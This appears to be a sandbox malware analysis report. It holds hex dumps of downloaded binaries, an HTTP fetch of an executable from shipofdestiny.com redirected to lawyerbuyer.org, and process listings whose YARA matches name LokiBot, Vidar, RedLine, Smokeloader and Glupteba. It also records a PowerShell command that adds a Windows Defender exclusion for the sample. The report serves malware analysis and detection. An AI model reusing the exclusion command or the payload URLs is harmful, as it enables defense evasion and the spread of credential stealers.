00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
2024-03-11 02:31:01 UTC	1369	IN	Data Raw: 00 66 8c 0d a4 ee 80 00 66 8c 1d 80 ee 80 00 66 8c 05 7c ee 80 00 66 8c 25 78 ee 80 00 66 8c 2d 74 ee 80 00 9c 8f 05 a8 ee 80 00 8b 45 00 a3 9c ee 80 00 8b 45 04 a3 a0 ee 80 00 8d 45 08 a3 ac ee 80 00 8b 85 e0 fc ff ff c7 05 e8 ed 80 00 01 00 01 00 a1 a0 ee 80 00 a3 9c ed 80 00 c7 05 90 ed 80 00 09 04 00 c0 c7 05 94 ed 80 00 01 00 00 00 a1 04 d0 80 00 89 85 d8 fc ff ff a1 08 d0 80 00 89 85 dc fc ff ff ff 15 ac b0 40 00 a3 e0 ed 80 00 6a 01 e8 e5 16 00 00 59 6a 00 ff 15 a8 b0 40 00 68 90 b1 40 00 ff 15 6c b0 40 00 83 3d e0 ed 80 00 00 75 08 6a 01 e8 c1 16 00 00 59 68 09 04 00 c0 ff 15 a4 b0 40 00 50 ff 15 a0 b0 40 00 c9 c3 8b ff 55 8b ec 8b 45 08 33 c9 3b 04 cd 10 d0 80 00 74 13 41 83 f9 2d 72 f1 8d 48 ed 83 f9 11 77 0e 6a 0d 58 5d c3 8b 04 cd 14 d0 80 00 Data Ascii: fff\|f%xf-tEEE@jYj@h@l@=ujYh@P@UE3;tA-rHwjX]
2024-03-11 02:31:01 UTC	1369	IN	Data Raw: 6a 00 6a 01 ff 75 08 e8 99 fe ff ff 83 c4 0c 5d c3 6a 01 6a 00 6a 00 e8 89 fe ff ff 83 c4 0c c3 6a 01 6a 01 6a 00 e8 7a fe ff ff 83 c4 0c c3 8b ff 55 8b ec e8 4b 05 00 00 ff 75 08 e8 94 03 00 00 59 68 ff 00 00 00 e8 af ff ff ff cc 68 10 1a 40 00 64 ff 35 00 00 00 00 8b 44 24 10 89 6c 24 10 8d 6c 24 10 2b e0 53 56 57 a1 04 d0 80 00 31 45 fc 33 c5 50 89 65 e8 ff 75 f8 8b 45 fc c7 45 fc fe ff ff ff 89 45 f8 8d 45 f0 64 a3 00 00 00 00 c3 8b 4d f0 64 89 0d 00 00 00 00 59 5f 5f 5e 5b 8b e5 5d 51 c3 cc cc cc cc cc cc cc 8b ff 55 8b ec 83 ec 18 53 8b 5d 0c 56 8b 73 08 33 35 04 d0 80 00 57 8b 06 c6 45 ff 00 c7 45 f4 01 00 00 00 8d 7b 10 83 f8 fe 74 0d 8b 4e 04 03 cf 33 0c 38 e8 b7 f5 ff ff 8b 4e 0c 8b 46 08 03 cf 33 0c 38 e8 a7 f5 ff ff 8b 45 08 f6 40 04 66 0f 85 Data Ascii: jju]jjjjjjzUKuYhh@d5D$l$l$+SVW1E3PeuEEEEdMdY__^[]QUS]Vs35WEE{tN38NF38E@f
2024-03-11 02:31:01 UTC	1369	IN	Data Raw: fe ff ff 50 88 5d fb e8 58 15 00 00 59 50 8d 85 08 fe ff ff 50 56 ff 15 cc b0 40 00 8b 4d fc 5f 5e 33 cd 5b e8 1b f1 ff ff c9 c3 6a 03 e8 e9 18 00 00 59 83 f8 01 74 15 6a 03 e8 dc 18 00 00 59 85 c0 75 1f 83 3d 00 d0 80 00 01 75 16 68 fc 00 00 00 e8 25 fe ff ff 68 ff 00 00 00 e8 1b fe ff ff 59 59 c3 8b ff 55 8b ec 56 e8 85 08 00 00 8b f0 85 f6 0f 84 32 01 00 00 8b 4e 5c 8b 55 08 8b c1 57 39 10 74 0d 83 c0 0c 8d b9 90 00 00 00 3b c7 72 ef 81 c1 90 00 00 00 3b c1 73 04 39 10 74 02 33 c0 85 c0 74 07 8b 50 08 85 d2 75 07 33 c0 e9 f5 00 00 00 83 fa 05 75 0c 83 60 08 00 33 c0 40 e9 e4 00 00 00 83 fa 01 0f 84 d8 00 00 00 8b 4d 0c 53 8b 5e 60 89 4e 60 8b 48 04 83 f9 08 0f 85 b6 00 00 00 6a 24 59 8b 7e 5c 83 64 39 08 00 83 c1 0c 81 f9 90 00 00 00 7c ed 8b 00 8b 7e Data Ascii: P]XYPPV@M_^3[jYtjYu=uh%hYYUV2N\UW9t;r;s9t3tPu3u`3@MS^`N`Hj$Y~\d9\|~
2024-03-11 02:31:01 UTC	1369	IN	Data Raw: 00 8d 90 00 08 00 00 a3 00 55 85 00 89 35 f8 54 85 00 3b c2 73 36 83 c0 05 83 48 fb ff 66 c7 40 ff 00 0a 89 48 03 66 c7 40 1f 00 0a c6 40 21 0a 89 48 33 88 48 2f 8b 35 00 55 85 00 83 c0 40 8d 50 fb 81 c6 00 08 00 00 3b d6 72 cd 53 57 66 39 4d e6 0f 84 0e 01 00 00 8b 45 e8 3b c1 0f 84 03 01 00 00 8b 18 83 c0 04 89 45 fc 03 c3 be 00 08 00 00 89 45 f8 3b de 7c 02 8b de 39 1d f8 54 85 00 7d 6b bf 04 55 85 00 6a 40 6a 20 e8 52 f1 ff ff 59 59 85 c0 74 51 83 05 f8 54 85 00 20 8d 88 00 08 00 00 89 07 3b c1 73 31 83 c0 05 83 48 fb ff 83 60 03 00 80 60 1f 80 83 60 33 00 66 c7 40 ff 00 0a 66 c7 40 20 0a 0a c6 40 2f 00 8b 0f 83 c0 40 03 ce 8d 50 fb 3b d1 72 d2 83 c7 04 39 1d f8 54 85 00 7c a2 eb 06 8b 1d f8 54 85 00 33 ff 85 db 7e 72 8b 45 f8 8b 00 83 f8 ff 74 5c 83 Data Ascii: U5T;s6Hf@Hf@@!H3H/5U@P;rSWf9ME;EE;\|9T}kUj@j RYYtQT ;s1H```3f@f@ @/@P;r9T\|T3~rEt\
2024-03-11 02:31:01 UTC	1369	IN	Data Raw: 00 00 59 c3 8b ff 57 68 54 bc 40 00 ff 15 bc b0 40 00 8b f8 85 ff 75 09 e8 34 fd ff ff 33 c0 5f c3 56 8b 35 b8 b0 40 00 68 90 bc 40 00 57 ff d6 68 84 bc 40 00 57 a3 2c f9 80 00 ff d6 68 78 bc 40 00 57 a3 30 f9 80 00 ff d6 68 70 bc 40 00 57 a3 34 f9 80 00 ff d6 83 3d 2c f9 80 00 00 8b 35 f0 b0 40 00 a3 38 f9 80 00 74 16 83 3d 30 f9 80 00 00 74 0d 83 3d 34 f9 80 00 00 74 04 85 c0 75 24 a1 ec b0 40 00 a3 30 f9 80 00 a1 f4 b0 40 00 c7 05 2c f9 80 00 82 26 40 00 89 35 34 f9 80 00 a3 38 f9 80 00 ff 15 e8 b0 40 00 a3 c4 d1 80 00 83 f8 ff 0f 84 c1 00 00 00 ff 35 30 f9 80 00 50 ff d6 85 c0 0f 84 b0 00 00 00 e8 dd ec ff ff ff 35 2c f9 80 00 8b 35 88 b0 40 00 ff d6 ff 35 30 f9 80 00 a3 2c f9 80 00 ff d6 ff 35 34 f9 80 00 a3 30 f9 80 00 ff d6 ff 35 38 f9 80 00 a3 34 Data Ascii: YWhT@@u43_V5@h@Wh@W,hx@W0hp@W4=,5@8t=0t=4tu$@0@,&@548@50P5,5@50,540584
2024-03-11 02:31:01 UTC	1369	IN	Data Raw: c7 ea ff ff 59 ff 36 ff 15 1c b1 40 00 5e 5d c3 6a 08 68 50 bf 80 00 e8 cd ea ff ff e8 41 f9 ff ff 8b 40 78 85 c0 74 16 83 65 fc 00 ff d0 eb 07 33 c0 40 c3 8b 65 e8 c7 45 fc fe ff ff ff e8 a0 17 00 00 e8 e6 ea ff ff c3 68 d7 2e 40 00 ff 15 88 b0 40 00 a3 90 fa 80 00 c3 8b ff 55 8b ec 8b 45 08 a3 94 fa 80 00 a3 98 fa 80 00 a3 9c fa 80 00 a3 a0 fa 80 00 5d c3 8b ff 55 8b ec 8b 45 08 8b 0d 4c bc 40 00 56 39 50 04 74 0f 8b f1 6b f6 0c 03 75 08 83 c0 0c 3b c6 72 ec 6b c9 0c 03 4d 08 5e 3b c1 73 05 39 50 04 74 02 33 c0 5d c3 ff 35 9c fa 80 00 ff 15 8c b0 40 00 c3 6a 20 68 70 bf 80 00 e8 21 ea ff ff 33 ff 89 7d e4 89 7d d8 8b 5d 08 83 fb 0b 7f 4b 74 15 8b c3 6a 02 59 2b c1 74 22 2b c1 74 08 2b c1 74 59 2b c1 75 43 e8 f5 f7 ff ff 8b f8 89 7d d8 85 ff 75 14 83 c8 Data Ascii: Y6@^]jhPA@xte3@eEh.@@UE]UEL@V9Ptku;rkM^;s9Pt3]5@j hp!3}}]KtjY+t"+t+tY+uC}u
2024-03-11 02:31:01 UTC	1369	IN	Data Raw: 8b 4c 24 04 f7 c1 03 00 00 00 74 24 8a 01 83 c1 01 84 c0 74 4e f7 c1 03 00 00 00 75 ef 05 00 00 00 00 8d a4 24 00 00 00 00 8d a4 24 00 00 00 00 8b 01 ba ff fe fe 7e 03 d0 83 f0 ff 33 c2 83 c1 04 a9 00 01 01 81 74 e8 8b 41 fc 84 c0 74 32 84 e4 74 24 a9 00 00 ff 00 74 13 a9 00 00 00 ff 74 02 eb cd 8d 41 ff 8b 4c 24 04 2b c1 c3 8d 41 fe 8b 4c 24 04 2b c1 c3 8d 41 fd 8b 4c 24 04 2b c1 c3 8d 41 fc 8b 4c 24 04 2b c1 c3 8b ff 55 8b ec 83 ec 24 a1 04 d0 80 00 33 c5 89 45 fc 8b 45 08 53 89 45 e0 8b 45 0c 56 57 89 45 e4 e8 a8 f1 ff ff 83 65 ec 00 83 3d b0 fa 80 00 00 89 45 e8 75 7d 68 00 bd 40 00 ff 15 20 b0 40 00 8b d8 85 db 0f 84 10 01 00 00 8b 3d b8 b0 40 00 68 f4 bc 40 00 53 ff d7 85 c0 0f 84 fa 00 00 00 8b 35 88 b0 40 00 50 ff d6 68 e4 bc 40 00 53 a3 b0 fa 80 Data Ascii: L$t$tNu$$~3tAt2t$ttAL$+AL$+AL$+AL$+U$3EESEEVWEe=Eu}h@ @=@h@S5@Ph@S
2024-03-11 02:31:01 UTC	1369	IN	Data Raw: 44 8f fc 8d 04 8d 00 00 00 00 03 f0 03 f8 ff 24 95 90 39 40 00 8b ff a0 39 40 00 a8 39 40 00 b4 39 40 00 c8 39 40 00 8b 45 08 5e 5f c9 c3 90 8a 06 88 07 8b 45 08 5e 5f c9 c3 90 8a 06 88 07 8a 46 01 88 47 01 8b 45 08 5e 5f c9 c3 8d 49 00 8a 06 88 07 8a 46 01 88 47 01 8a 46 02 88 47 02 8b 45 08 5e 5f c9 c3 90 8d 74 31 fc 8d 7c 39 fc f7 c7 03 00 00 00 75 24 c1 e9 02 83 e2 03 83 f9 08 72 0d fd f3 a5 fc ff 24 95 2c 3b 40 00 8b ff f7 d9 ff 24 8d dc 3a 40 00 8d 49 00 8b c7 ba 03 00 00 00 83 f9 04 72 0c 83 e0 03 2b c8 ff 24 85 30 3a 40 00 ff 24 8d 2c 3b 40 00 90 40 3a 40 00 64 3a 40 00 8c 3a 40 00 8a 46 03 23 d1 88 47 03 83 ee 01 c1 e9 02 83 ef 01 83 f9 08 72 b2 fd f3 a5 fc ff 24 95 2c 3b 40 00 8d 49 00 8a 46 03 23 d1 88 47 03 8a 46 02 c1 e9 02 88 47 02 83 ee 02 Data Ascii: D$9@9@9@9@9@E^_E^_FGE^_IFGFGE^_t1\|9u$r$,;@$:@Ir+$0:@$,;@@:@d:@:@F#Gr$,;@IF#GFG

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.5	55644	104.21.32.142	443	44264	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-11 02:31:02 UTC	79	OUT	GET /baf14778c246e15550645e30ba78ce1c.exe HTTP/1.1 Host: shipofdestiny.com
2024-03-11 02:31:03 UTC	699	IN	HTTP/1.1 307 Temporary Redirect Date: Mon, 11 Mar 2024 02:31:03 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Location: https://lawyerbuyer.org/26b626fea29015a9f24e07a08fa011e4/baf14778c246e15550645e30ba78ce1c.exe CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=pYYOHmAL61k1prhi30wneQXp3lp%2B6DFR4mkpRE8hnXWEg8PmV5S0qbs76XqsDd33E8POZK4gyQZkxHjigXzMcubaWKf1haLgyyWf%2BZKZMPWqaOVYWafBmJfAW4kDna3M8Imdng%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 862820445c4b0ad5-LAS alt-svc: h3=":443"; ma=86400
2024-03-11 02:31:03 UTC	135	IN	Data Raw: 38 31 0d 0a 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 6c 61 77 79 65 72 62 75 79 65 72 2e 6f 72 67 2f 32 36 62 36 32 36 66 65 61 32 39 30 31 35 61 39 66 32 34 65 30 37 61 30 38 66 61 30 31 31 65 34 2f 62 61 66 31 34 37 37 38 63 32 34 36 65 31 35 35 35 30 36 34 35 65 33 30 62 61 37 38 63 65 31 63 2e 65 78 65 22 3e 54 65 6d 70 6f 72 61 72 79 20 52 65 64 69 72 65 63 74 3c 2f 61 3e 2e 0a 0a 0d 0a Data Ascii: 81<a href="https://lawyerbuyer.org/26b626fea29015a9f24e07a08fa011e4/baf14778c246e15550645e30ba78ce1c.exe">Temporary Redirect</a>.
2024-03-11 02:31:03 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	03:30:32
Start date:	11/03/2024
Path:	C:\Users\user\Desktop\dl7WL77rkA.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\Desktop\dl7WL77rkA.exe
Imagebase:	0x1ebaaa20000
File size:	48'352 bytes
MD5 hash:	F1E075F8CEBE5AACA53ED7C158D81CBD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Target ID:	3
Start time:	03:30:49
Start date:	11/03/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\dl7WL77rkA.exe" -Force
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	4
Start time:	03:30:50
Start date:	11/03/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	5
Start time:	03:30:50
Start date:	11/03/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
Imagebase:	0xdb0000
File size:	43'008 bytes
MD5 hash:	9827FF3CDF4B83F9C86354606736CA9C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: LokiBot_Dropper_Packed_R11_Feb18, Description: Auto-generated rule - file scan copy.pdf.r11, Source: 00000005.00000002.4581208018.000000000A499000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth Rule: LokiBot_Dropper_Packed_R11_Feb18, Description: Auto-generated rule - file scan copy.pdf.r11, Source: 00000005.00000002.4581208018.000000000A6D9000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
Reputation:	moderate
Has exited:	false

Target ID:	7
Start time:	03:30:50
Start date:	11/03/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
Wow64 process (32bit):
Commandline:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
Imagebase:
File size:	43'008 bytes
MD5 hash:	9827FF3CDF4B83F9C86354606736CA9C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Target ID:	10
Start time:	03:30:51
Start date:	11/03/2024
Path:	C:\Windows\System32\WerFault.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\WerFault.exe -u -p 3876 -s 134468
Imagebase:	0x7ff77b080000
File size:	570'736 bytes
MD5 hash:	FD27D9F6D02763BDE32511B5DF7FF7A0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Target ID:	12
Start time:	03:30:56
Start date:	11/03/2024
Path:	C:\Users\user\Pictures\CGZL5y3D81OCbb2NABnHZhPM.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Pictures\CGZL5y3D81OCbb2NABnHZhPM.exe"
Imagebase:	0x400000
File size:	323'584 bytes
MD5 hash:	D9578A8E9EE343BC53B08FD8101F66E9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 58%, ReversingLabs
Reputation:	low
Has exited:	true

Target ID:	13
Start time:	03:30:56
Start date:	11/03/2024
Path:	C:\Users\user\Pictures\kDgMkoNM3lKxwY8D8wOiP15F.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Pictures\kDgMkoNM3lKxwY8D8wOiP15F.exe"
Imagebase:	0x400000
File size:	1'878'244 bytes
MD5 hash:	BD90ED9339BF690DAF83101CAA9EC91A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Target ID:	14
Start time:	03:30:56
Start date:	11/03/2024
Path:	C:\Users\user\Pictures\3BiVM2uOsvGVXA1BoDorVuCU.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Pictures\3BiVM2uOsvGVXA1BoDorVuCU.exe"
Imagebase:	0x400000
File size:	1'878'244 bytes
MD5 hash:	BD90ED9339BF690DAF83101CAA9EC91A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Target ID:	15
Start time:	03:30:57
Start date:	11/03/2024
Path:	C:\Users\user\AppData\Local\Temp\syncUpd.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\syncUpd.exe
Imagebase:	0x400000
File size:	203'776 bytes
MD5 hash:	DBA6DB51EA13E585AEE6136021836641
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 0000000F.00000002.2758122594.00000000008F0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_MarsStealer, Description: Yara detected Mars stealer, Source: 0000000F.00000002.2758122594.00000000008F0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 0000000F.00000002.2758122594.00000000008F0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 0000000F.00000002.2757736487.0000000000400000.00000040.00000001.01000000.0000000D.sdmp, Author: Joe Security Rule: JoeSecurity_MarsStealer, Description: Yara detected Mars stealer, Source: 0000000F.00000002.2757736487.0000000000400000.00000040.00000001.01000000.0000000D.sdmp, Author: Joe Security Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 0000000F.00000003.2437075338.00000000022D0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_MarsStealer, Description: Yara detected Mars stealer, Source: 0000000F.00000003.2437075338.00000000022D0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000F.00000002.2757736487.0000000000444000.00000040.00000001.01000000.0000000D.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000F.00000002.2758288970.0000000000958000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 0000000F.00000002.2758267027.0000000000942000.00000040.00000020.00020000.00000000.sdmp, Author: unknown
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 29%, ReversingLabs
Reputation:	low
Has exited:	true

Target ID:	16
Start time:	03:30:58
Start date:	11/03/2024
Path:	C:\Users\user\Pictures\VT4T5BrKWgz9d48cmEd8ePkZ.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Pictures\VT4T5BrKWgz9d48cmEd8ePkZ.exe"
Imagebase:	0x400000
File size:	4'283'768 bytes
MD5 hash:	54F38AF9A5ADA40065F7B6008661E8A1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000010.00000002.3306333274.0000000002DA0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000010.00000002.3275239614.0000000001202000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Glupteba, Description: Yara detected Glupteba, Source: 00000010.00000002.3306333274.00000000031E3000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Glupteba, Description: Yara detected Glupteba, Source: 00000010.00000002.3182375526.0000000000843000.00000040.00000001.01000000.00000012.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Target ID:	17
Start time:	03:30:58
Start date:	11/03/2024
Path:	C:\Users\user\Pictures\sUyDoVTGsfEnMY0oeyexTBut.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Pictures\sUyDoVTGsfEnMY0oeyexTBut.exe"
Imagebase:	0x400000
File size:	4'283'768 bytes
MD5 hash:	54F38AF9A5ADA40065F7B6008661E8A1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000011.00000002.3187282898.0000000001170000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000011.00000002.3216774766.0000000002E10000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Glupteba, Description: Yara detected Glupteba, Source: 00000011.00000002.3026570515.0000000000843000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security Rule: JoeSecurity_Glupteba, Description: Yara detected Glupteba, Source: 00000011.00000002.3216774766.0000000003253000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Target ID:	18
Start time:	03:30:58
Start date:	11/03/2024
Path:	C:\Users\user\Pictures\VvPx7JMqkEvTJAQ2rPS2y2wf.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Pictures\VvPx7JMqkEvTJAQ2rPS2y2wf.exe"
Imagebase:	0x400000
File size:	4'283'792 bytes
MD5 hash:	C03384EE0CB8E3A2FD0C84052AC0581F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000012.00000002.3306276662.0000000002DC0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Glupteba, Description: Yara detected Glupteba, Source: 00000012.00000002.3306276662.0000000003203000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Glupteba, Description: Yara detected Glupteba, Source: 00000012.00000002.3183446408.0000000000843000.00000040.00000001.01000000.0000000F.sdmp, Author: Joe Security Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000012.00000002.3269213397.0000000001022000.00000040.00000020.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Target ID:	19
Start time:	03:30:58
Start date:	11/03/2024
Path:	C:\Users\user\Pictures\BTnjKpTBDzKtQo69b5SrwYDx.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Pictures\BTnjKpTBDzKtQo69b5SrwYDx.exe"
Imagebase:	0x400000
File size:	1'878'244 bytes
MD5 hash:	BD90ED9339BF690DAF83101CAA9EC91A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Target ID:	20
Start time:	03:30:58
Start date:	11/03/2024
Path:	C:\Users\user\Pictures\MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Pictures\MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe"
Imagebase:	0x400000
File size:	4'283'792 bytes
MD5 hash:	C03384EE0CB8E3A2FD0C84052AC0581F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Glupteba, Description: Yara detected Glupteba, Source: 00000014.00000002.3144948166.0000000000843000.00000040.00000001.01000000.00000011.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000014.00000002.3275782158.0000000002CB0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000014.00000002.3245748971.000000000110C000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Glupteba, Description: Yara detected Glupteba, Source: 00000014.00000002.3275782158.00000000030F3000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Target ID:	21
Start time:	03:31:02
Start date:	11/03/2024
Path:	C:\Users\user\Pictures\nxFajWDYSB3pQQxmrqt3pD1T.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Pictures\nxFajWDYSB3pQQxmrqt3pD1T.exe"
Imagebase:	0x400000
File size:	323'584 bytes
MD5 hash:	D9578A8E9EE343BC53B08FD8101F66E9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 58%, ReversingLabs
Reputation:	low
Has exited:	true

Target ID:	22
Start time:	03:31:02
Start date:	11/03/2024
Path:	C:\Users\user\AppData\Local\Temp\wfplwfs.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\wfplwfs.exe
Imagebase:	0x400000
File size:	237'568 bytes
MD5 hash:	ED7321DFC04F801D87AB2F3B4ABCB8FB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 47%, ReversingLabs
Reputation:	low
Has exited:	false

Target ID:	23
Start time:	03:31:02
Start date:	11/03/2024
Path:	C:\Users\user\Pictures\yq7sRYx0zxf2nUHNI8myIvQb.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Pictures\yq7sRYx0zxf2nUHNI8myIvQb.exe"
Imagebase:	0x400000
File size:	1'878'244 bytes
MD5 hash:	BD90ED9339BF690DAF83101CAA9EC91A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Target ID:	24
Start time:	03:31:02
Start date:	11/03/2024
Path:	C:\Users\user\Pictures\yzAPe25HGnxqbkafYprXvqQ2.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Pictures\yzAPe25HGnxqbkafYprXvqQ2.exe"
Imagebase:	0x400000
File size:	1'878'244 bytes
MD5 hash:	BD90ED9339BF690DAF83101CAA9EC91A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Target ID:	25
Start time:	03:31:03
Start date:	11/03/2024
Path:	C:\Users\user\Pictures\LP2uR8v5nKtflOO7HsEX74Am.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Pictures\LP2uR8v5nKtflOO7HsEX74Am.exe"
Imagebase:	0x400000
File size:	4'283'768 bytes
MD5 hash:	54F38AF9A5ADA40065F7B6008661E8A1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000019.00000002.3195890952.00000000010DF000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Glupteba, Description: Yara detected Glupteba, Source: 00000019.00000002.3061309929.0000000000843000.00000040.00000001.01000000.0000001C.sdmp, Author: Joe Security Rule: JoeSecurity_Glupteba, Description: Yara detected Glupteba, Source: 00000019.00000002.3250452098.00000000032C3000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000019.00000002.3250452098.0000000002E80000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Target ID:	26
Start time:	03:31:03
Start date:	11/03/2024
Path:	C:\Users\user\Pictures\65bl5N8ldxUdfHpwZdasCC1T.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Pictures\65bl5N8ldxUdfHpwZdasCC1T.exe"
Imagebase:	0x400000
File size:	323'584 bytes
MD5 hash:	D9578A8E9EE343BC53B08FD8101F66E9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 58%, ReversingLabs
Reputation:	low
